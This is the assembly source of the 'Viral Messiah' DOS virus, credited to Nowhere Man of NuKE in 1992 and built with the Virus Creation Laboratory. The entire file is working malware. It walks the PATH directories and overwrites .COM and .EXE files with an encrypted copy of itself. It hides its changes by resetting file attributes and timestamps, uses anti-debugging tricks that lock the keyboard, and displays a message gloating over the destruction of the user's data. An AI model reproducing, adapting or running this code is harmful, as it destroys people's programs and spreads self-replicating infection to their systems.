; VMESSIAH.ASM -- Viral Messiah Virus ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by Nowhere Man virus_type equ 1 ; Overwriting Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h start label near main proc near flag: xchg dh,dh xchg bp,ax xchg bp,ax call encrypt_decrypt ; Decrypt the virus start_of_code label near stop_tracing: mov cx,09EBh mov ax,0FE05h ; Acutal move, plus a HaLT jmp $-2 add ah,03Bh ; AH now equals 025h jmp $-10 ; Execute the HaLT mov bx,offset null_vector ; BX points to new routine push cs ; Transfer CS into ES pop es ; using a PUSH/POP int 021h mov al,1 ; Disable interrupt 1, too int 021h jmp short skip_null ; Hop over the loop null_vector: jmp $ ; An infinite loop skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged lock_keys: mov al,128 ; Change here screws DEBUG out 021h,al ; If tracing then lock keyboard mov cx,0005h ; Do 5 infections search_loop: push cx ; Save CX call search_files ; Find and infect a file pop cx ; Restore CX loop search_loop ; Repeat until CX is 0 jmp short strt00 ; Success -- skip jump skip00: jmp end00 ; Skip the routine strt00: mov si,offset data00 ; SI points to data mov ah,0Eh ; BIOS display char. function display_loop: lodsb ; Load the next char. into AL or al,al ; Is the character a null? je disp_strnend ; If it is, exit int 010h ; BIOS video interrupt jmp short display_loop ; Do the next character disp_strnend: mov si,offset data00 ; SI points to data xor dx,dx ; Clear DX print_loop: lodsb ; Load the next char. into AL xor ah,ah ; BIOS print char. function or al,al ; Is the character a null? je print_done ; If it is, exit int 017h ; BIOS video interrupt jmp short print_loop ; Do the next character print_done: end00: mov ax,04C00h ; DOS terminate function int 021h main endp db 08Dh,04Eh,054h,059h,0E0h search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,135 ; Allocate 135 bytes on stack mov byte ptr [bp - 135],'\' ; Start with a backslash mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 134] ; SI points to 64-byte buffer int 021h call traverse_path ; Start the traversal traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful? je done_searching ; If so then we're done call found_subdir ; Otherwise copy the subdirectory mov ax,cs ; AX holds the code segment mov ds,ax ; Set the data and extra mov es,ax ; segments to the code segment xor al,al ; Zero AL stosb ; NULL-terminate the directory mov ah,03Bh ; DOS change directory function lea dx,[bp - 70] ; DX points to the directory int 021h mov dx,offset com_mask ; DX points to "*.COM" call find_files ; Try to infect a .COM file jnc done_searching ; If successful the exit mov dx,offset exe_mask ; DX points to "*.EXE" call find_files ; Try to infect an .EXE file jnc done_searching ; If successful the exit jmp short traversal_loop ; Keep checking the PATH done_searching: mov ah,03Bh ; DOS change directory function lea dx,[bp - 135] ; DX points to old directory int 021h cmp word ptr [path_ad],0 ; Did we run out of directories? jne at_least_tried ; If not then exit stc ; Set the carry flag for failure at_least_tried: mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller com_mask db "*.COM",0 ; Mask for all .COM files exe_mask db "*.EXE",0 ; Mask for all .EXE files search_files endp traverse_path proc near mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment xor di,di ; DI holds the starting offset find_path: mov si,offset path_string ; SI points to "PATH=" lodsb ; Load the "P" into AL mov cx,08000h ; Check the first 32767 bytes repne scasb ; Search until the byte is found mov cx,4 ; Check the next four bytes check_next_4: lodsb ; Load the next letter of "PATH=" scasb ; Compare it to the environment jne find_path ; If there not equal try again loop check_next_4 ; Otherwise keep checking mov word ptr [path_ad],di ; Save the PATH address for later mov word ptr [path_ad + 2],es ; Save PATH's segment for later ret ; Return to caller path_string db "PATH=" ; The PATH string to search for path_ad dd ? ; Holds the PATH's address traverse_path endp found_subdir proc near lds si,dword ptr [path_ad] ; DS:SI points to the PATH lea di,[bp - 70] ; DI points to the work buffer push cs ; Transfer CS into ES for pop es ; byte transfer move_subdir: lodsb ; Load the next byte into AL cmp al,';' ; Have we reached a separator? je moved_one ; If so we're done copying or al,al ; Are we finished with the PATH? je moved_last_one ; If so get out of here stosb ; Store the byte at ES:DI jmp short move_subdir ; Keep transfering characters moved_last_one: xor si,si ; Zero SI to signal completion moved_one: mov word ptr es:[path_ad],si; Store SI in the path address ret ; Return to caller found_subdir endp db 0FEh,0C9h,04Bh,0DFh,06Eh find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp db 07Dh,0F9h,074h,000h,09Bh infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov si,bx ; SI points to the DTA mov byte ptr [set_carry],0 ; Assume we'll fail cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? jne infection_done ; If it is then exit cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? je infection_done ; If it is then skip it cmp word ptr [si + 01Ah],(finish - start) jb infection_done ; If it's too small then exit mov ax,03D00h ; DOS open file function, r/o lea dx,[si + 01Eh] ; DX points to file name int 021h xchg bx,ax ; BX holds file handle mov ah,03Fh ; DOS read from file function mov cx,4 ; CX holds bytes to read (4) mov dx,offset buffer ; DX points to buffer int 021h mov ah,03Eh ; DOS close file function int 021h push si ; Save DTA address before compare mov si,offset buffer ; SI points to comparison buffer mov di,offset flag ; DI points to virus flag mov cx,4 ; CX holds number of bytes (4) rep cmpsb ; Compare the first four bytes pop si ; Restore DTA address je infection_done ; If equal then exit mov byte ptr [set_carry],1 ; Success -- the file is OK mov ax,04301h ; DOS set file attrib. function xor cx,cx ; Clear all attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h mov ax,03D02h ; DOS open file function, r/w int 021h xchg bx,ax ; BX holds file handle push si ; Save SI through call call encrypt_code ; Write an encrypted copy pop si ; Restore SI mov ax,05701h ; DOS set file time function mov cx,[si + 016h] ; CX holds old file time mov dx,[si + 018h] ; DX holds old file date int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attrib. function xor ch,ch ; Clear CH for file attribute mov cl,[si + 015h] ; CX holds file's old attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed ret ; Return to caller buffer db 4 dup (?) ; Buffer to hold test data set_carry db ? ; Set-carry-on-exit flag infect_file endp data00 db "I am your VIRAL MESSIAH",13,10 db "Follow me and be redeemed",13,10 db "Your data doth exist no more",13,10 db "The FAT holds ashes of your dreams",13,10,0 vcl_marker db "[VCL]",0 ; VCL creation marker note db "[Viral Messiah]",0 db "Nowhere Man, [NuKE] '92",0 encrypt_code proc near mov si,offset encrypt_decrypt; SI points to cipher routine xor ah,ah ; BIOS get time function int 01Ah mov word ptr [si + 8],dx ; Low word of timer is new key xor byte ptr [si],1 ; xor byte ptr [si + 7],1 ; Change all SIs to DIs xor word ptr [si + 10],0101h; (and vice-versa) mov di,offset finish ; Copy routine into heap mov cx,finish - encrypt_decrypt - 1 ; All but final RET push si ; Save SI for later push cx ; Save CX for later rep movsb ; Copy the bytes mov si,offset write_stuff ; SI points to write stuff mov cx,5 ; CX holds length of write rep movsb ; Copy the bytes pop cx ; Restore CX pop si ; Restore SI inc cx ; Copy the RET also this time rep movsb ; Copy the routine again mov ah,040h ; DOS write to file function mov dx,offset start ; DX points to virus call finish ; Encrypt/write/decrypt ret ; Return to caller write_stuff: mov cx,finish - start ; Length of code int 021h encrypt_code endp end_of_code label near encrypt_decrypt proc near mov si,offset start_of_code ; SI points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; CX holds length xor_loop: db 081h,034h,00h,00h ; XOR a word by the key inc si ; Do the next word inc si ; loop xor_loop ; Loop until we're through ret ; Return to caller encrypt_decrypt endp finish label near code ends end main